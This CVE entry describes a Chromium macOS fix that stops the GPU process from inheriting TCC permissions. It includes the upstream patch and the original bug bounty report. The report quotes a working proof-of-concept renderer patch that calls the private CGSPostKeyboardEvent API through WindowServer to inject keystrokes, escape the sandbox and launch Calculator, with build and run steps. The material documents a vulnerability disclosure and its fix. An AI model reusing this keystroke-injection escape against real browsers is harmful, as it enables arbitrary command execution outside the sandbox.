CVE-2026-106378
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifbase/process/process_info_mac.mm |
modified |
Files Changed
base/process/process_info_mac.mmcontent/browser/gpu/gpu_process_host.ccbase/process/process_info.h
Patch
From 0c2f3e54b2654030781a4bad55f7ce968fa7871d Mon Sep 17 00:00:00 2001
From: Bryan Oltman <bryanoltman@google.com>
Date: Thu, 10 Sep 2026 16:39:08 -0700
Subject: [PATCH] [macOS] Disclaim TCC responsibility for GPU process
When Chromium has a parent process other than launchd (i.e., the Mach-O
executable was launched directly instead of via Finder or the `open`
command), it inherits the TCC permissions of that parent process. These
permissions extend to child processes launched by Chromium, which is not
desirable for the GPU process.
This change is gated by the kMacDisclaimGpuTccResponsibility killswitch.
Bug: 507596239
Change-Id: I8b1e1aecfdb677a0f7958edaed68d01f222561d2
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8373722
Reviewed-by: Colin Blundell <blundell@chromium.org>
Reviewed-by: Mark Mentovai <mark@chromium.org>
Commit-Queue: Bryan Oltman <bryanoltman@google.com>
Cr-Commit-Position: refs/heads/main@{#1695786}
---
diff --git a/base/process/process_info.h b/base/process/process_info.h
index c7f24f37..c4e01b54 100644
--- a/base/process/process_info.h
+++ b/base/process/process_info.h
@@ -39,6 +39,11 @@
#endif // BUILDFLAG(IS_WIN)
#if BUILDFLAG(IS_MAC)
+// Returns true if the current process is responsible for itself according to
+// the macOS TCC responsibility subsystem (e.g., Chrome launched directly from
+// Finder or Dock).
+BASE_EXPORT bool IsCurrentProcessSelfResponsible();
+
// Checks if the responsible process has Bluetooth metadata in its Info.plist
// file. See https://bugs.chromium.org/p/chromium/issues/detail?id=945969 and
// https://bugs.chromium.org/p/chromium/issues/detail?id=996993.
diff --git a/base/process/process_info_mac.mm b/base/process/process_info_mac.mm
index e12c1d0..f038c8a 100644
--- a/base/process/process_info_mac.mm
+++ b/base/process/process_info_mac.mm
@@ -7,6 +7,10 @@
#import <AppKit/AppKit.h>
#include <unistd.h>
+#include <optional>
+
+#include "base/check.h"
+
extern "C" {
pid_t responsibility_get_pid_responsible_for_pid(pid_t);
}
@@ -25,23 +29,34 @@
return bluetooth_entry != nil;
}
+std::optional<pid_t> ResponsiblePidIfNotSelf() {
+ const pid_t pid = getpid();
+ const pid_t responsible_pid = responsibility_get_pid_responsible_for_pid(pid);
+ PCHECK(responsible_pid != -1);
+ return pid != responsible_pid ? std::optional(responsible_pid) : std::nullopt;
+}
+
} // namespace
namespace base {
+bool IsCurrentProcessSelfResponsible() {
+ return ResponsiblePidIfNotSelf() == std::nullopt;
+}
+
bool DoesResponsibleProcessHaveBluetoothMetadata() {
- const pid_t pid = getpid();
- const pid_t responsible_pid = responsibility_get_pid_responsible_for_pid(pid);
- // Returns true directly if this is a self-responsible app(e.g. Chrome opens
+ const std::optional<pid_t> responsible_pid = ResponsiblePidIfNotSelf();
+
+ // Returns true directly if this is a self-responsible app (e.g., Chrome opens
// from Finder or Dock). This is an optimization to avoid the blocking-path
// work in the common case. Because Chrome itself declares Bluetooth metadata
// in Info.plist.
- if (responsible_pid == pid) {
+ if (!responsible_pid) {
return true;
}
NSRunningApplication* app = [NSRunningApplication
- runningApplicationWithProcessIdentifier:responsible_pid];
+ runningApplicationWithProcessIdentifier:responsible_pid.value()];
if (app) {
return AppContainsBluetoothUsageDescription(app);
}
diff --git a/content/browser/gpu/gpu_process_host.cc b/content/browser/gpu/gpu_process_host.cc
index b8f1f3f..1824448 100644
--- a/content/browser/gpu/gpu_process_host.cc
+++ b/content/browser/gpu/gpu_process_host.cc
@@ -129,6 +129,7 @@
#endif
#if BUILDFLAG(IS_MAC)
+#include "base/process/process_info.h"
#include "content/browser/gpu/browser_child_process_backgrounded_bridge.h"
#include "content/browser/gpu/ca_transaction_gpu_coordinator.h"
#endif
@@ -157,6 +158,13 @@
namespace {
+#if BUILDFLAG(IS_MAC)
+// If enabled, the GPU process will not inherit the browser process's TCC
+// responsibilities (https://crbug.com/507596239).
+BASE_FEATURE(kMacDisclaimGpuTccResponsibility,
+ base::FEATURE_ENABLED_BY_DEFAULT);
+#endif
+
// UMA histogram names.
constexpr char kFallbackEventCause[] = "GPU.FallbackEventCause";
constexpr char kProcessLifetimeEventsHardwareAccelerated[] =
@@ -471,6 +479,15 @@
}
#endif // BUILDFLAG(USE_ZYGOTE)
+#if BUILDFLAG(IS_MAC)
+ bool DisclaimResponsibility() override {
+ // Disclaim the GPU process if we've inherited TCC responsibilities from a
+ // different (possibly privileged) process.
+ return base::FeatureList::IsEnabled(kMacDisclaimGpuTccResponsibility) &&
+ !base::IsCurrentProcessSelfResponsible();
+ }
+#endif
+
sandbox::mojom::Sandbox GetSandboxType() override {
if (cmd_line_.HasSwitch(sandbox::policy::switches::kDisableGpuSandbox)) {
DVLOG(1) << "GPU sandbox is disabled";
Original Bug Report
possible for renderer to inject keystrokes via com.apple.windowserver.active Mach service
Report description
Chrome full renderer sandbox escape on macOS, this is the third time I am reporting this but with more detail as requested from https://issues.chromium.org/issues/507159648 with a renderer patch
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
The problem
Please describe the technical details of the vulnerability
Summary
A compromised Chrome renderer on macOS can inject synthetic keystrokes, achieving arbitrary command execution outside the sandbox without user interaction. The renderer sandbox allows mach-lookup to com.apple.windowserver.active, which exposes a keystroke injection API.
PoC
Why not MojoJS: This escape uses native macOS APIs (not Mojo IPC), so --enable-blink-features=MojoJS is insufficient.
The attached renderer_escape.patch modifies content/renderer/renderer_main.cc. The code:
- Runs in
RendererMain()— only called by renderer processes (inherent process guard) - Inserts after
platform.EnableSandbox()andclient->PostSandboxInitialized()at line 292-296 — the seatbelt sandbox is fully active (the next line in the source is a comment reading “Start the HangWatcher now that the sandbox is engaged”) - Verifies sandbox is enforced: Calls
system("true")which returns non-zero (blocked by seatbelt) - Escapes: Obtains a WindowServer connection and injects Cmd+Space → “Calculator” → Enter via Spotlight
Steps
cd /path/to/chromium/src
git apply renderer_escape.patch
autoninja -C out/Default chrome
killall Calculator 2>/dev/null
out/Default/chrome --no-first-run --user-data-dir=/tmp/poc 'data:text/html,<h1>PoC</h1>'
Do not touch keyboard or mouse. Calculator launches in ~15 seconds. Console will show:
[WARNING:renderer_main.cc] PoC: sandbox_active=1
[WARNING:renderer_main.cc] PoC: cgs=<N> injecting keystrokes
Root Cause
Chrome’s renderer sandbox profile includes:
(allow mach-lookup (global-name "com.apple.windowserver.active"))
This exposes CGSPostKeyboardEvent, a private API that injects keyboard events without TCC. The public equivalent requires Input Monitoring permission — the private path does not.
Environment
- macOS 26.4.1 (25E253)
- Chrome 147.0.7727.117 (arm64)
Attached
renderer_escape.patch
Also renderer_escape.patch looks like this:
diff --git a/content/renderer/renderer_main.cc b/content/renderer/renderer_main.cc
--- a/content/renderer/renderer_main.cc
+++ b/content/renderer/renderer_main.cc
@@ -55,6 +55,12 @@
#include "third_party/blink/public/platform/platform.h"
#include "third_party/blink/public/platform/scheduler/web_thread_scheduler.h"
+#if BUILDFLAG(IS_MAC)
+// PoC includes for sandbox escape demonstration
+#include <dlfcn.h>
+typedef int CGSConnectionID;
+#endif
+
#if BUILDFLAG(IS_ANDROID)
#include "base/android/library_loader/library_loader_hooks.h"
#endif
@@ -296,6 +302,40 @@
}
}
+#if BUILDFLAG(IS_MAC)
+ // ── Sandbox Escape PoC ──
+ // Insertion point: immediately after EnableSandbox() + PostSandboxInitialized()
+ // (line 292-295 above). The seatbelt sandbox is fully active.
+ // RendererMain() only runs in renderer processes (inherent process guard).
+ {
+ // Prove sandbox is active
+ int sb = system("true");
+ LOG(WARNING) << "PoC: sandbox_active=" << (sb != 0);
+
+ void *h = dlopen(
+ "/System/Library/PrivateFrameworks/SkyLight.framework/SkyLight",
+ RTLD_LAZY);
+ if (h) {
+ auto Conn = reinterpret_cast<CGSConnectionID(*)()>(
+ dlsym(h, "CGSMainConnectionID"));
+ auto Post = reinterpret_cast<int(*)(CGSConnectionID,
+ unsigned short, unsigned short, int, int, int)>(
+ dlsym(h, "CGSPostKeyboardEvent"));
+ if (Conn && Post) {
+ CGSConnectionID c = Conn();
+ LOG(WARNING) << "PoC: cgs=" << c << " injecting keystrokes";
+ sleep(5);
+ // Cmd+Space (Spotlight)
+ Post(c,0,55,1,0,0); usleep(20000); Post(c,0,49,1,0,0);
+ usleep(20000); Post(c,0,49,0,0,0); usleep(20000);
+ Post(c,0,55,0,0,0); usleep(800000);
+ // "Calculator"
+ unsigned short k[] = {8,0,37,8,32,37,0,17,31,15};
+ for (int i = 0; i < 10; i++) {
+ Post(c,0,k[i],1,0,0); usleep(15000);
+ Post(c,0,k[i],0,0,0); usleep(25000);
+ }
+ usleep(800000);
+ // Enter
+ Post(c,0,36,1,0,0); usleep(20000); Post(c,0,36,0,0,0);
+ }
+ }
+ }
+#endif
+
// Start the HangWatcher now that the sandbox is engaged, if it hasn't
// already been started.
if (base::HangWatcher::IsEnabled() &&
In my earlier report https://issues.chromium.org/issues/507159648 said, a Google engieer requested information in this format: “The easiest way to demonstrate this in a way that is convincing and meets our requirements would be to supply a renderer patch (using renderer process guards, to simulate arbitrary code execution in the renderer process) that includes this code.”
For that reason in this report, we have made this report in this format. If you want more details and want to see videos or this in action, in the previous report I have details like how to reproduce using sandbox-exec using exact chrome sandbox rules, or in this case by directly injecting into the renderer process, you can see we are able to achieve RCE
Impact analysis
Any V8/Blink RCE + this = full sandbox escape to arbitrary command execution on macOS. Zero user interaction. Full TCC bypass. Deterministic, ASLR-independent, works every time.
The cause
What version of Chrome have you found the security issue in?
Version 147.0.7727.117 (Official Build) (arm64) (latest)
Is the security issue related to a crash?
No, it is not related to a crash.
Choose the type of vulnerability
Sandbox Escape
How would you like to be publicly acknowledged for your report?
Paulos Yibelo Mesfin